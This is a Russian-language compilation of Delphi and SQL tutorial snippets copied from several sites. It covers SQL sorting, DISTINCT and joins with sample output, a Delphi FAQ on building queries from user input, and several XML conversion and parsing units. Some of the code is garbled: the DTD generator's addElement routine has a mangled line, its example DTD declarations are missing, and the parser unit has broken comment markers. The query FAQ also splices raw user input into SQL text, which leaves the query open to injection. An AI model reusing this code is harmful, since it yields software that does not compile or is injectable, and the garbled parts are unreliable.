Ann             Bennet          120     Admin
Kelly           Brown           600     Admin
Sue Anne        O'Brien         670     Admin
Mark            Guckenheimer    622     Eng
Roger           Reeves          120     Sales
Bill            Parker          623     Eng

      Упорядочивание с использованием номеров столбцов

SELECT first_name, last_name, dept_no,
       job_code, salary * 1.1
FROM employee
ORDER BY 5      получить список сотрудников,
      упорядоченный по их зарплате
      с 10% надбавкой

FIRST_NAME   LAST_NAME     DEPT_NO JOB_CODE
============ ============= ======= ======== ===========
Ann          Bennet        120     Admin        25228.5
Kelly        Brown         600     Admin          29700
Sue Anne     O'Brien       670     Admin        34402.5
Mark         Guckenheimer  622     Eng            35200
Roger        Reeves        120     Sales     36982.6875
Bill         Parker        623     Eng            38500

Допускается использование нескольких уровней вложенности при упорядочивании выводимой информации по столбцам; при этом разрешается смешивать оба способа.

SELECT first_name, last_name, dept_no,
       job_code, salary * 1.1
FROM employee
ORDER BY dept_no, 5 DESC, last_name
      получить список сотрудников,
      упорядоченный сначала по
      номерам отделов,
      в отделах - по убыванию их
      зарплаты (с 10%),
      а в пределах одной зарплаты -       по фамилиям

FIRST_NAME  LAST_NAME  DEPT_NO JOB_CODE
=========== ========== ======= ======== ===============
Oliver H.   Bender     000     CEO               234135
Terri       Lee        000     Admin            59172.3
Mary S.     MacDonald  100     VP             122388.75
Michael     Yanowski   100     SRep     48400.000000001
Luke        Leung      110     SRep             75685.5
Janet       Baldwin    110     Sales        67801.59375
Takashi     Yamamoto   115     SRep     8228000.0000001
Yuki        Ichida     115     Eng      6600000.0000001

      Устранение дублирования (модификатор DISTINCT)

Дублированными являются такие строки в результирующей таблице, в которых идентичен каждый столбец.
Иногда (в зависимости от задачи) бывает необходимо устранить все повторы строк из результирующего набора. Этой цели служит модификатор DISTINCT. Данный модификатор может быть указан только один раз в списке выбираемых элементов и действует на весь список.

SELECT job_code
FROM employee      получить список должностей сотрудников

JOB_CODE
========
VP
Eng
Eng
Mktg
Mngr
SRep
Admin
Finan
Mngr
Mngr
Eng
...

Данный пример некорректно решает задачу "получения" списка должностей сотрудников предприятия, так как в нем имеются многочисленные повторы, затрудняющие восприятие информации. Тот же запрос, включающий модификатор DISTINCT, устраняющий дублирование, дает верный результат.

SELECT DISTINCT job_code
FROM employee       получить список должностей сотрудников

JOB_CODE
========
Admin
CEO
CFO
Dir
Doc
Eng
Finan
Mktg
Mngr
PRel
SRep
Sales
VP

Два следующих примера показывают, что модификатор DISTINCT действует на всю строку сразу.

SELECT first_name, last_name
FROM employee
WHERE first_name = "Roger"      получить список служащих,
      имена которых - Roger

FIRST_NAME      LAST_NAME
=============== ====================
Roger           De Souza
Roger           Reeves

SELECT DISTINCT first_name, last_name
FROM employee
WHERE first_name = "Roger"      получить список служащих,
      имена которых - Roger

FIRST_NAME      LAST_NAME
=============== ====================
Roger           De Souza
Roger           Reeves

      Соединение (JOIN)

Операция соединения используется в языке SQL для вывода связанной информации, хранящейся в нескольких таблицах, в одном запросе. В этом проявляется одна из наиболее важных особенностей запросов SQL - способность определять связи между многочисленными таблицами и выводить информацию из них в рамках этих связей. Именно эта операция придает гибкость и легкость языку SQL.
После изучения этого раздела мы будем способны:
·    соединять данные из нескольких таблиц в единую результирующую таблицу;
·    задавать имена столбцов двумя способами;
·    записывать внешние соединения;
·    создавать соединения таблицы с собой.

Операции соединения подразделяются на два вида - внутренние и внешние. Оба вида соединений задаются в предложении WHERE запроса SELECT с помощью специального условия соединения. Внешние соединения (о которых мы поговорим позднее) поддерживаются стандартом ANSI-92 и содержат зарезервированное слово "JOIN", в то время как внутренние соединения (или просто соединения) могут задаваться как без использования такого слова (в стандарте ANSI-89), так и с использованием слова "JOIN" (в стандарте ANSI-92).
Связывание производится, как правило, по первичному ключу одной таблицы и внешнему ключу другой таблицы - для каждой пары таблиц. При этом очень важно учитывать все поля внешнего ключа, иначе результат будет искажен. Соединяемые поля могут (но не обязаны!) присутствовать в списке выбираемых элементов. Предложение WHERE может содержать множественные условия соединений. Условие соединения может также комбинироваться с другими предикатами в предложении WHERE.

      Внутренние соединения

Внутреннее соединение возвращает только те строки, для которых условие соединения принимает значение true.

SELECT first_name, last_name, department
FROM employee, department
WHERE job_code = "VP"      получить список сотрудников,
      состоящих в должности "вице-
      президент", а также названия
      их отделов

FIRST_NAME      LAST_NAME        DEPARTMENT
=============== ================ ======================
Robert          Nelson           Corporate Headquarters
Mary S.         MacDonald        Corporate Headquarters
Robert          Nelson           Sales and Marketing
Mary S.         MacDonald        Sales and Marketing
Robert          Nelson           Engineering
Mary S.         MacDonald        Engineering
Robert          Nelson           Finance
Mary S.         MacDonald        Finance
...

Этот запрос ("без соединения") возвращает неверный результат, так как имеющиеся между таблицами связи не задействованы. Отсюда и появляется дублирование информации в результирующей таблице. Правильный результат дает запрос с использованием операции соединения:

SELECT first_name, last_name, department
FROM employee, department
WHERE job_code = "VP"
  AND employee.dept_no = department.dept_no

      имена таблиц
      получить список сотрудников,
      состоящих в должности "вице-
      президент", а также названия
      их отделов

FIRST_NAME      LAST_NAME        DEPARTMENT
=============== ================ ======================
Robert          Nelson           Engineering
Mary S.         MacDonald        Sales and Marketing

В вышеприведенном запросе использовался способ непосредственного указания таблиц с помощью их имен. Возможен (а иногда и просто необходим) также способ указания таблиц с помощью алиасов (псевдонимов). При этом алиасы определяются в предложении FROM запроса SELECT и представляют собой любой допустимый идентификатор, написание которого подчиняется таким же правилам, что и написание имен таблиц. Потребность в алиасах таблиц возникает тогда, когда названия столбцов, используемых в условиях соединения двух (или более) таблиц, совпадают, а названия таблиц слишком длинны...
Замечание 1: в одном запросе нельзя смешивать использование написания имен таблиц и их алиасов.
Замечание 2: алиасы таблиц могут совпадать с их именами.

SELECT first_name, last_name, department
FROM employee e, department d
WHERE job_code = "VP"
  AND e.dept_no = d.dept_no

       алиасы таблиц
      получить список сотрудников,
      состоящих в должности "вице-
      президент", а также названия
      их отделов

FIRST_NAME      LAST_NAME        DEPARTMENT
=============== ================ ======================
Robert          Nelson           Engineering
Mary S.         MacDonald        Sales and Marketing

А вот пример запроса, соединяющего сразу три таблицы:

SELECT first_name, last_name, job_title,
       department
FROM employee e, department d, job j
WHERE d.mngr_no = e.emp_no
  AND e.job_code = j.job_code
  AND e.job_grade = j.job_grade
  AND e.job_country = j.job_country
      получить список сотрудников
      с названиями их должностей
      и названиями отделов

FIRST_NAME LAST_NAME    JOB_TITLE               DEPARTMENT
========== ============ ======================= ======================
Robert     Nelson       Vice President          Engineering
Phil       Forest       Manager                 Quality Assurance
K. J.      Weston       Sales Representative    Field Office: East Coast
Katherine  Young        Manager                 Customer Support
Chris      Papadopoulos Manager                 Research and Development
Janet      Baldwin      Sales Co-ordinator      Pacific Rim Headquarters
Roger      Reeves       Sales Co-ordinator      European Headquarters
Walter     Steadman     Chief Financial Officer Finance

В данном примере последние три условия необходимы в силу того, что первичный ключ в таблице JOB состоит из трех полей - см. рис.1.

Мы рассмотрели внутренние соединения с использованием стандарта ANSI-89. Теперь опишем новый (ANSI-92) стандарт:
·    условия соединения записываются в предложении FROM, в котором слева и справа от зарезервированного слова "JOIN" указываются соединяемые таблицы;
·    условия поиска, основанные на правой таблице, помещаются в предложение ON;
·    условия поиска, основанные на левой таблице, помещаются в предложение WHERE.

SELECT first_name, last_name, department
FROM employee e JOIN department d
 ON e.dept_no = d.dept_no
AND department = "Customer Support"
WHERE last_name starting with "P"
      получить список служащих
      (а заодно и название отдела),
      являющихся сотрудниками отдела
      "Customer Support", фамилии кото-
      рых начинаются с буквы "P"

FIRST_NAME    LAST_NAME       DEPARTMENT
============= =============== ===================
Leslie        Phong           Customer Support
Bill          Parker          Customer Support

      Самосоединения

В некоторых задачах необходимо получить информацию, выбранную особым образом только из одной таблицы. Для этого используются так называемые самосоединения, или рефлексивные соединения. Это не отдельный вид соединения, а просто соединение таблицы с собой с помощью алиасов. Самосоединения полезны в случаях, когда нужно получить пары аналогичных элементов из одной и той же таблицы.

SELECT one.last_name, two.last_name,
       one.hire_date
FROM employee one, employee two
WHERE one.hire_date = two.hire_date
  AND one.emp_no < two.emp_no
      получить пары фамилий сотрудников,
      которые приняты на работу в один
      и тот же день

LAST_NAME            LAST_NAME              HIRE_DATE
==================== ==================== ===========
Nelson               Young                28-DEC-1988
Reeves               Stansbury            25-APR-1991
Bishop               MacDonald             1-JUN-1992
Brown                Ichida                4-FEB-1993

SELECT d1.department, d2.department, d1.budget
FROM department d1, department d2
WHERE d1.budget = d2.budget
  AND d1.dept_no < d2.dept_no
      получить список пар отделов с
      одинаковыми годовыми бюджетами

DEPARTMENT                DEPARTMENT                   BUDGET
========================  ========================= =========
Software Development      Finance                   400000.00
Field Office: East Coast  Field Office: Canada      500000.00
Field Office: Japan       Field Office: East Coast  500000.00
Field Office: Japan       Field Office: Canada      500000.00
Field Office: Japan       Field Office: Switzerland 500000.00
Field Office: Singapore   Quality Assurance         300000.00
Field Office: Switzerland Field Office: East Coast  500000.00

      Внешние соединения

Напомним, что внутреннее соединение возвращает только те строки, для которых условие соединения принимает значение true. Иногда требуется включить в результирующий набор большее количество строк.
Вспомним, запрос вида

SELECT first_name, last_name, department
FROM employee e, department d
WHERE e.dept_no = d.dept_no

возвращает только те строки, для которых условие соединения (e.dept_no = d.dept_no) принимает значение true.
Внешнее соединение возвращает все строки из одной таблицы и только те строки из другой таблицы, для которых условие соединения принимает значение true. Строки второй таблицы, не удовлетворяющие условию соединения (т.е. имеющие значение false), получают значение null в результирующем наборе.

Существует два вида внешнего соединения: LEFT JOIN и RIGHT JOIN.

В левом соединении (LEFT JOIN) запрос возвращает все строки из левой таблицы (т.е. таблицы, стоящей слева от зарезервированного словосочетания "LEFT JOIN") и только те из правой таблицы, которые удовлетворяют условию соединения. Если же в правой таблице не найдется строк, удовлетворяющих заданному условию, то в результате они замещаются значениями null.
Для правого соединения - все наоборот.

SELECT first_name, last_name, department
FROM employee e LEFT JOIN department d
  ON e.dept_no = d.dept_no
      получить список сотрудников
      и название их отделов,
      включая сотрудников, еще
      не назначенных ни в какой отдел

FIRST_NAME      LAST_NAME      DEPARTMENT
=============== ============== =====================
Robert          Nelson         Engineering
Bruce           Young          Software Development
Kim             Lambert        Field Office: East Coast
Leslie          Johnson        Marketing
Phil            Forest         Quality Assurance
...

В данном запросе все сотрудники оказались распределены по отделам, иначе названия отделов заместились бы значением null.

А вот пример правого соединения:

SELECT first_name, last_name, department
FROM employee e RIGHT JOIN department d
  ON e.dept_no = d.dept_no
      получить список сотрудников
      и название их отделов,
      включая отделы, в которые еще
      не назначены сотрудники

FIRST_NAME      LAST_NAME     DEPARTMENT
=============== ============= =========================
Terri           Lee           Corporate Headquarters
Oliver H.       Bender        Corporate Headquarters
Mary S.         MacDonald     Sales and Marketing
Michael         Yanowski      Sales and Marketing
Robert          Nelson        Engineering
Kelly           Brown         Engineering
Stewart         Hall          Finance
Walter          Steadman      Finance
Leslie          Johnson       Marketing
Carol           Nordstrom     Marketing
<null>          <null>        Software Products Div.
Bruce           Young         Software Development
...

В результирующий набор входит и отдел "Software Products Div." (а также отдел "Field Office: Singapore", не представленный здесь), в котором еще нет ни одного сотрудника.


Интерактивные SQL-запросы

Как мне передать значение переменной в SQL-запросе? К примеру, в обработчике onClick клавиши вывести все записи с величиной поля большей, чем задал пользователь. Можно ли в Delphi создать что-либо подобное механизму запросов, реализованному в Paradox for Windows?

Решение этой задачи в Delphi подобно созданию и выполнению строки запроса SQL в Paradox.

Pdoxwin код:

method pushButton(var eventInfo Event)
var
s  string
q  query
d  database
endvar

d.open( "MYALIAS" )
s = "select * from mytable where somefield=\"" + entryField.value + "\""
q.readFromString( s )
q.executeSQL( d )

endmethod

Delphi код:

procedure TForm1.Button1Click(Sender: TObject);
begin
  MyQuery.Active := false;
  MyQuery.SQL.clear;
  MyQuery.SQL.add('select * from mytable where somefield="' +
    EntryField.Text + '"');
  MyQuery.Active := true;
end;

Взято с http://delphiworld.narod.ru


XML

Cодержание раздела:

Конвертировать INI файл в XML
Конвертировать результат запроса в XML и обратно
Конвертировать таблицу в XML
Создание DTD для объекта (XML)
TClientDataSet. Некорректное формирование XML
TClientDataSet. Утечка памяти при загрузке XML
Сбростить BDE базу данных в XML файл New!

См. также статьи в других разделах:
Как сделать экспорт TDataSet в XML file?
Что такое DOM?


Конвертировать INI файл в XML

uses XMLIntf, XMLDoc, INIFiles;

procedure INI2XML(const pINIFileName: string; const pXML: IXMLNode;
  const AsAttributes: Boolean = true);
var
  lINIFile: TIniFile;
  lSections, lItems: TStringList;
  iSections, iItems: integer;
  lNode: IXMLNode;
begin
  lINIFile := TIniFile.Create(pINIFileName);
  try
    lSections := TStringList.Create;
    try
      lItems := TStringList.Create;
      try

        lINIFile.ReadSections(lSections);

        for iSections := 0 to pred(lSections.Count) do
        begin
          lItems.Clear;
          lINIFile.ReadSection(lSections[iSections], lItems);
          lNode := pXML.AddChild(StringReplace(lSections[iSections], ' ', '',
            [rfReplaceAll]));
          for iItems := 0 to pred(lItems.Count) do
          begin
            if AsAttributes then
              lNode.Attributes[lItems[iItems]] :=
                lINIFile.ReadString(lSections[iSections], lItems[iItems], '')
            else
              lNode.AddChild(lItems[iItems]).Text :=
                lINIFile.ReadString(lSections[iSections], lItems[iItems], '');
          end;
          lNode := nil;
        end;

      finally lItems.Free;
      end;
    finally lSections.Free;
    end;
  finally lINIFile.Free;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Конвертировать результат запроса в XML и обратно

unit ADOXMLUnit;

interface

uses
  Classes, ADOInt;

function RecordsetToXML(const Recordset: _Recordset): string;
function RecordsetFromXML(const XML: string): _Recordset;

implementation

uses
  ComObj;

function RecordsetToXML(const Recordset: _Recordset): string;
var
  RS: Variant;
  Stream: TStringStream;
begin
  Result := '';
  if Recordset = nil then
    Exit;
  Stream := TStringStream.Create('');
  try
    RS := CreateOleObject('ADODB.Recordset');
    RS := Recordset;
    RS.Save(TStreamAdapter.Create(stream) as IUnknown, adPersistXML);
    Stream.Position := 0;
    Result := Stream.DataString;
  finally
    Stream.Free;
  end;
end;

function RecordsetFromXML(const XML: string): _Recordset;
var
  RS: Variant;
  Stream: TStringStream;
begin
  Result := nil;
  if XML = '' then
    Exit;
  try
    Stream := TStringStream.Create(XML);
    Stream.Position := 0;
    RS := CreateOleObject('ADODB.Recordset');
    RS.Open(TStreamAdapter.Create(Stream) as IUnknown);
    Result := IUnknown(RS) as _Recordset;
  finally
    Stream.Free;
  end;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Конвертировать таблицу в XML

{ SMExport suite's free demo
  Data export from dataset into XML-file

  Copyright(C) 2000, written by Scalabium, Shkolnik Mike
  E-Mail:  smexport@scalabium.com
           mshkolnik@yahoo.com
  WEB: http://www.scalabium.com
       http://www.geocities.com/mshkolnik
}
unit DS2XML;

interface

uses
  Classes, DB;

procedure DatasetToXML(Dataset: TDataset; FileName: string);

implementation

uses
  SysUtils;

var
  SourceBuffer: PChar;

procedure WriteString(Stream: TFileStream; s: string);
begin
  StrPCopy(SourceBuffer, s);
  Stream.Write(SourceBuffer[0], StrLen(SourceBuffer));
end;

procedure WriteFileBegin(Stream: TFileStream; Dataset: TDataset);

  function XMLFieldType(fld: TField): string;
  begin
    case fld.DataType of
      ftString: Result := '"string" WIDTH="' + IntToStr(fld.Size) + '"';
      ftSmallint: Result := '"i4"'; //??
      ftInteger: Result := '"i4"';
      ftWord: Result := '"i4"'; //??
      ftBoolean: Result := '"boolean"';
      ftAutoInc: Result := '"i4" SUBTYPE="Autoinc"';
      ftFloat: Result := '"r8"';
      ftCurrency: Result := '"r8" SUBTYPE="Money"';
      ftBCD: Result := '"r8"'; //??
      ftDate: Result := '"date"';
      ftTime: Result := '"time"'; //??
      ftDateTime: Result := '"datetime"';
    else
    end;
    if fld.Required then
      Result := Result + ' required="true"';
    if fld.Readonly then
      Result := Result + ' readonly="true"';
  end;

var
  i: Integer;
begin
  WriteString(Stream,
    '<?xml version="1.0" standalone="yes"?><!-- Generated by SMExport -->  ' +
    '<DATAPACKET Version="2.0">');
  WriteString(Stream, '<METADATA><FIELDS>');

  {write th metadata}
  with Dataset do
    for i := 0 to FieldCount - 1 do
    begin
      WriteString(Stream, '<FIELD attrname="' +
        Fields[i].FieldName +
        '" fieldtype=' +
        XMLFieldType(Fields[i]) +
        '/>');
    end;
  WriteString(Stream, '</FIELDS>');
  WriteString(Stream, '<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033"/>');
  WriteString(Stream, '</METADATA><ROWDATA>');
end;

procedure WriteFileEnd(Stream: TFileStream);
begin
  WriteString(Stream, '</ROWDATA></DATAPACKET>');
end;

procedure WriteRowStart(Stream: TFileStream; IsAddedTitle: Boolean);
begin
  if not IsAddedTitle then
    WriteString(Stream, '<ROW');
end;

procedure WriteRowEnd(Stream: TFileStream; IsAddedTitle: Boolean);
begin
  if not IsAddedTitle then
    WriteString(Stream, '/>');
end;

procedure WriteData(Stream: TFileStream; fld: TField; AString: ShortString);
begin
  if Assigned(fld) and (AString <> '') then
    WriteString(Stream, ' ' + fld.FieldName + '="' + AString + '"');
end;

function GetFieldStr(Field: TField): string;

  function GetDig(i, j: Word): string;
  begin
    Result := IntToStr(i);
    while (Length(Result) < j) do
      Result := '0' + Result;
  end;

var
  Hour, Min, Sec, MSec: Word;
begin
  case Field.DataType of
    ftBoolean: Result := UpperCase(Field.AsString);
    ftDate: Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
    ftTime: Result := FormatDateTime('hhnnss', Field.AsDateTime);
    ftDateTime:
      begin
        Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
        DecodeTime(Field.AsDateTime, Hour, Min, Sec, MSec);
        if (Hour <> 0) or (Min <> 0) or (Sec <> 0) or (MSec <> 0) then
          Result := Result + 'T' + GetDig(Hour, 2) + ':' + GetDig(Min, 2) + ':' +
            GetDig(Sec, 2) + GetDig(MSec, 3);
      end;
  else
    Result := Field.AsString;
  end;
end;

procedure DatasetToXML(Dataset: TDataset; FileName: string);
var
  Stream: TFileStream;
  bkmark: TBookmark;
  i: Integer;
begin
  Stream := TFileStream.Create(FileName, fmCreate);
  SourceBuffer := StrAlloc(1024);
  WriteFileBegin(Stream, Dataset);

  with DataSet do
  begin
    DisableControls;
    bkmark := GetBookmark;
    First;

    {write a title row}
    WriteRowStart(Stream, True);
    for i := 0 to FieldCount - 1 do
      WriteData(Stream, nil, Fields[i].DisplayLabel);
    {write the end of row}
    WriteRowEnd(Stream, True);

    while (not EOF) do
    begin
      WriteRowStart(Stream, False);
      for i := 0 to FieldCount - 1 do
        WriteData(Stream, Fields[i], GetFieldStr(Fields[i]));
      {write the end of row}
      WriteRowEnd(Stream, False);

      Next;
    end;

    GotoBookmark(bkmark);
    EnableControls;
  end;

  WriteFileEnd(Stream);
  Stream.Free;
  StrDispose(SourceBuffer);
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Создание DTD для объекта (XML)

За созданием кода для сериализации и десериализации объектов в Delphi логично перейти к рассмотрению вопроса о возможности генерации соответствующего DTD для сохраняемых в XML классов. DTD понадобится нам, если мы захотим провести проверку XML документа на корректность и допустимость с помощью одного из XML анализаторов. Работа с анализатором MSXML рассмотрена в статье Загрузка и анализ документа XML..

Автоматическое создание DTD очень простая задача. У нас все для этого есть. Необходимо рекурсивно пройтись по всем свойствам объекта и сгенерировать модели содержания для каждого тега. При сериализации в XML мы не использовали атрибутов, а значит мы не сможем в DTD установить контроль над содержанием конкретных элементов. Остается только определить модель содержания для XML, т.е. вложенность тегов в друг друга.

Создадим процедуру GenerateDTD(), которая обеспечит запись формируемого DTD для заданного объекта Component в заданный поток Stream. Она создает список DTDList, в котором будут накапливаться атрибуты DTD, после чего передает всю черновую работу процедуре GenerateDTDInternal().

{
Процедура генерации DTD для заданного объекта в
соответсвии с published интерфейсом его класса.

Вход:
  Component - объект
Выход:
  текст DTD в поток Stream
}
procedure GenerateDTD(Component: TObject; Stream: TStream);
var
  DTDList: TStringList;
begin
  DTDList := TStringList.Create;
  try
    GenerateDTDInternal(Component, DTDList, Stream, Component.ClassName);
  finally
    DTDList.Free;
  end;
end;

Следующий код просматривает свойства объекта, составляет их список, а затем формирует из этого модель содержания для элемента. Для свойств классовых типов используется рекурсия. Поскольку при сериализации объекта мы не использовали атрибутов, то определений для них создавать нет необходимости.

Для всех неклассовых типов модель содержания это - (#PCDATA). К примеру, свойство объекта Tag: integer превращается в .

Отдельно подходим к коллекциям. Для них необходимо указать на множественность дочернего тега элемента коллекции. Например, для свойства TMyCollection модель содержания может выглядеть так: .

{
Внутренняя рекурсивная процедура генерации DTD для заданного объекта.

Вход:
  Component - объект
  DTDList - список уже определенных элементов DTD
  для предотвращения повторений.
Выход:
  текст DTD в поток Stream
}
procedure GenerateDTDInternal(Component: TObject; DTDList: TStrings;
  Stream: TStream; const ComponentTagName: string);
var
  PropInfo: PPropInfo;
  TypeInf, PropTypeInf: PTypeInfo;
  EnumInfo: PTypeInfo;
  TypeData: PTypeData;
  i, j: integer;
  AName, PropName, sPropValue, s, TagContent: string;
  PropList: PPropList;
  NumProps: word;
  PropObject: TObject;
const
  PCDATA = '#PCDATA';

  procedure addElement(const ElementName: string; Data: string);
  var
    s: string;
  begin
    if DTDList.IndexOf(ElementName) <> -1 then
      exit;
    DTDList.Add(ElementName);
    s := 'then'
      Data := PCDATA;
    s := s + '(' + Data + ')>'#13#10;
    Stream.write(PChar(s)[0], length(s));
  end;

begin
  { Playing with RTTI }
  TypeInf := Component.ClassInfo;
  AName := TypeInf^.name;
  TypeData := GetTypeData(TypeInf);
  NumProps := TypeData^.PropCount;

  GetMem(PropList, NumProps*sizeof(pointer));
  try
    { Получаем список свойств }
    GetPropInfos(TypeInf, PropList);
    TagContent := '';

    for i := 0 to NumProps-1 do
    begin
      PropName := PropList^[i]^.name;

      PropTypeInf := PropList^[i]^.PropType^;
      PropInfo := PropList^[i];

      { Пропустить не поддерживаемые типы }
      if not (PropTypeInf^.Kind in [tkDynArray, tkArray,
      tkRecord, tkInterface, tkMethod]) then
      begin
        if TagContent <> '' then
          TagContent := TagContent + '|';
        TagContent := TagContent + PropName;
      end;

      case PropTypeInf^.Kind of
        tkInteger, tkChar, tkFloat, tkString,
        tkWChar, tkLString, tkWString, tkVariant,
        tkEnumeration, tkSet:
        begin
          { Перевод в DTD. Для данных типов модель содержания - #PCDATA }
          addElement(PropName, PCDATA);
        end;

        {
        Kод был бы полезен при использовании атрибутов
        tkEnumeration:
        begin
          TypeData:= GetTypeData(GetTypeData(PropTypeInf)^.BaseType^);
          s := '';
          for j := TypeData^.MinValue to TypeData^.MaxValue do
          begin
            if s <> '' then s := s + '|';
            s := s + GetEnumName(PropTypeInf, j);
          end;
          addElement(PropName, s);
        end;
        }

        tkClass: { Для классовых типов рекурсивная обработка }
        begin
          PropObject := GetObjectProp(Component, PropInfo);
          if Assigned(PropObject)then
          begin
            { Для дочерних свойств-классов - рекурсивный вызов }
            if (PropObject is TPersistent) then
              GenerateDTDInternal(PropObject, DTDList, Stream, PropName);
          end;
        end;
      end;
    end;

    { Индивидуальный подход к некоторым классам }
    { Для коллекций необходимо включить в модель содержания тип элемента }
    if (Component is TCollection) then
    begin
      if TagContent <> '' then
        TagContent := TagContent + '|';
      TagContent := TagContent + (Component as TCollection).ItemClass.ClassName + '*';
    end;

    { Добавляем модель содержания для элемента }
    addElement(ComponentTagName, TagContent);
  finally
    FreeMem(PropList, NumProps*sizeof(pointer));
  end;
end;

Закоментированный код нам не нужен, но он не удален, т.к. он демонстрирует получение списка возможных значений для перечисления (Enumeration) и набора (Set). Это может понадобится, если появится необходимость генерировать свойства в виде атрибутов XML тегов и, соответственно, DTD для возможных значений этих атрибутов.

Взято с http://delphiworld.narod.ru


TClientDataSet. Некорректное формирование XML

Delphi5 build 5.62, midas.dll v5.0.5.63

При использовании SaveToFile('file.xml', dfXML) формируется некорректный текст XML, если набор данных содержит изменения, т.е. при непустом Delta.

Пример:

Набор данных состоит их двух полей

IntField: integer
StrField: string(20)

После ввода

  1    aaa
  2    bbb
  3    ccc
  4    ddd

и сохранения текст XML имеет вид:

<?xml version="1.0" standalone="yes"?>  <DATAPACKET Version="2.0">
<METADATA><FIELDS><FIELD attrname="IntField" fieldtype="i4"/>
<FIELD attrname="StrField" fieldtype="string" WIDTH="20"/></FIELDS>
<PARAMS CHANGE_LOG="1 0 4 2 0 4 3 0 4 4 0 4"/></PARAMS></METADATA>
<ROWDATA><ROW RowState="4" IntField="1" StrField="aaa"/>
<ROW RowState="4" IntField="2" StrField="bbb"/>
<ROW RowState="4" IntField="3" StrField="ccc"/>
<ROW RowState="4" IntField="4" StrField="ddd"/>
</ROWDATA></DATAPACKET>

Ошибочным явлается наличие тэга </PARAMS>, т.к. открывающий тэг <PARAMS.../> уже содержит ограничитель "/"

После вызова MergeChangeLog, CancelUpdates или ApplyUpdates сохраняется корректный XML.

КОММЕНТАРИЙ

Проблема заключена именно в midas.dll. При проверке в Delphi 5 update pack 1 (build 6.18) баг не проявляется - XML формируется корректно. Если же сменить midas.dll на старую - версии 5.0.5.63 - получаем вышеописанный результат.

Скачать тест StoneTest_22.zip (2.3K)

Мораль сей басни такова: ставьте свежие сервиспаки.

Взято с http://delphiworld.narod.ru


TClientDataSet. Утечка памяти при загрузке XML

Hапpимеp, если делаем:

ClientDataSet.LoadFromFile('c:\tmp\1.xml');
ClientDataSet.Close;

то видим, что память выделилась, но не освободилась.

Если даже делать ClientDataSet.Create и ClientDataSet.Free то все pавно будут утечки.

Пpобовал также пеpед закpытием:

ClientDataSet.EmptyDataSet;
ClientDataSet.CancelUpdates;
ClientDataSet.LogChanges := False;
ClientDataSet.MergeChangeLog;
ClientDataSet.FieldDefs.Clear;
ClientDataSet.IndexDefs.Clear;
ClientDataSet.Params.Clear;
ClientDataSet.Aggregates.Clear;
ClientDataSet.IndexName := '';
ClientDataSet.IndexFieldNames := '';

Все pавно не помогает.

Решения не нашел. Тестировал под D5 под W2000, W98. Также брал midas.dll от D6. Проблема осталась.

КОММЕНТАРИЙ

Действительно, проверка показывает, что при загрузке данных из XML-файла последующее закрытие ClientDataSet не освобождает часть выделенной памяти. Трассировка VCL не выявила ничего подозрительного в открытом коде TClientDataSet. Но часть операций производится COM-объектами, которыми пользуется ClientDataSet и которые находятся в midas.dll.

Установлено, что утечка памяти отсутствует, если данные в ClientDataSet поступают через провайдера, либо при загрузке из файла формата CDS (в котором ClientDataSet сохраняет данные по-умолчанию).

Следовательно, мы имеем проблему при локальном использовании ClientDataSet с файлом XML. Вероятно, в midas.dll при разборке файла XML распределяется память под временные структуры данных, которая потом не освобождается.

Взято с http://delphiworld.narod.ru


Parsing XML

{

Here I will show one way to parse XML document

The main concept of XML is using containers for XML objects -
so we will use Tree concept while building our XML object from XML document.

XML text uses containers (<TAG ... >...</TAG>) or simple definitions (<TAG ... />)
in each TAG we can use parameters (<TAG key1="value1" key2="value2">... <SIMPLE key3="value3"> ...</TAG>)

Finally we will have an array of objects, describing XML tags. Every object of this
class will have an array of children if needed, and a hash to describe properties of it.

For example if we have a text

<UL name="xxx">
  <LI name="xxx1"/>
  <LI name="xxx2"/>
  <LI name="xxx3"/>
  <LI name="xxx4"/>
</UL>

we will have one root object (named "UL") in wich we will have 4 children
(named "LI" with different sets of properties - from "NAME"="xxx1" to "NAME"="xxx4")

This is not a trivial task - so we will make a unit to solve this...
I will try to comment some here...

if you have any comments for this unit - write to me: sunworx@mail.ru; yz@infoteh.ru

}
unit YZXMLParser;

interface

uses
  SysUtils, ComCtrls;

type
  THashElement = record
    Key, Value: string;
  end;

type
  THashElementArr = array of THashElement;

  // here  we declare a THash class to use in our parser
  // The concept of THash is to retreive named values from an array
  // Hash is an array where index is a string (example V[Key]=value,
  // whehe Key and Value are of type string)

  // The main purpose of this class is to rerurn a value of a String-named key
  //(example: s:=hash['someValue'])

  // the description of a hash element we use

type
  THash = class(TObject)
  private
    Arr: THashElementArr;
    function GetValue(Key: string): string;
    procedure SetValue(Key: string; const VValue: string);
    function GetKeys: StrArr;
    function GetValues: StrArr;
    function GetCount: Integer;
    function Getempty: Boolean;
  public
    property Value[Key: string]: string read GetValue write SetValue; default;
    property Values: StrArr read GetValues;
    property Keys: StrArr read GetKeys;
    property Count: Integer read GetCount;
    property Empty: Boolean read Getempty;
    procedure Clear;
    constructor Create;
    destructor Destroy; override;
  end;

  TYZHash = THash;

type

  // Here we declare some definitions for our parser to know what
  // identifier we would receive next in our text
  // these  values will be used in the result of WhatNext() function which will scan text for keys

  TYZXMLMarker = (xmlOpenTag, xmlCloseTagShort, xmlCloseTag, xmlCloseTagLong,
    xmlEOF, xmlIdentifier, xmlunknown); / *

  Because we use recursive definition of our class(as TreeView, where we declare children of
    the same type in opur type
    declaration) we must use forward declaration
    * /

  // The definition of a TAG class

  TYZXMLTag  = class;
  TYZXMLTags = array of TYZXMLTag;

  TYZXMLTag = class(TObject)
  private
    FData: TYZHash;
    FParent: TYZXMLTag;
    FName: string;

    function GetValue(AName: string): string;
    procedure SetName(const Value: string);
    procedure SetValue(AName: string; const Value: string);
    function GetCount: Integer;
    function GetValueNames: strarr;

  public
    Children: TYZXMLTags; // these are our child nodes
    Text: string;

    property Name: string read FName write SetName; // name of a tag
    property Values[AName: string]: string read GetValue write SetValue;
      default; // values of properties of a tag (hash values)
    property ValueNames: strarr read GetValueNames;
    // array of strings returniong names of all props of this tag
    property Count: Integer read GetCount;
    // a count of children of a tag (if this tag is a container)

    function SkipSpaces(var AData: string; var APos: Integer;
      RememberBreaks: Boolean = False): Char;
    // internal. for skip spaces (also CR or LF or other non-text chars) while parsing text

